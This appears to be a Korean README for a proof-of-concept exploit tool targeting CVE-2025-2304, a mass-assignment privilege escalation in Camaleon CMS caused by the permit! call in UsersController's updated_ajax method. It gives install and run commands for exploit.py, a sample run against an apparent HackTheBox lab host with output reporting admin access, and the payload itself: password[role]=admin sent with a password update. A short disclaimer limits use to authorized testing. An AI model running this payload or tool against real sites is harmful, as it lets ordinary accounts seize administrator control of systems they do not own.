
Camaleon CMS의 CVE-2025-2304 권한 상승 PoC
Camaleon CMS, Mass Assignment을 통한 권한 상승 취약점
Camaleon CMS에 Mass Assignment를 통한 권한 상승 취약점이 존재합니다.
사용자가 비밀번호를 변경하려고 하면 UsersController의 'updated_ajax' 메서드가 호출됩니다. 이 취약점은 모든 매개변수를 필터링 없이 통과시키는 위험한 permit! 메서드를 사용하기 때문에 발생합니다.
pip install requests beautifulsoup4
python exploit.py --url http://target.com -u username -p password
--url - 취약한 애플리케이션의 기본 URL-u - 인증용 사용자 이름-p - 인증용 비밀번호python exploit.py --url http://facts.htb -u krrish -p krrish
출력:
[*] Logging in as krrish...
[*] Exploiting...
[+] Exploited! You're admin now
password[role]=admin 매개변수와 함께 비밀번호 업데이트 요청 전송이 도구는 교육 및 승인된 보안 테스트 목적으로만 사용됩니다. 컴퓨터 시스템에 대한 무단 액세스는 불법입니다.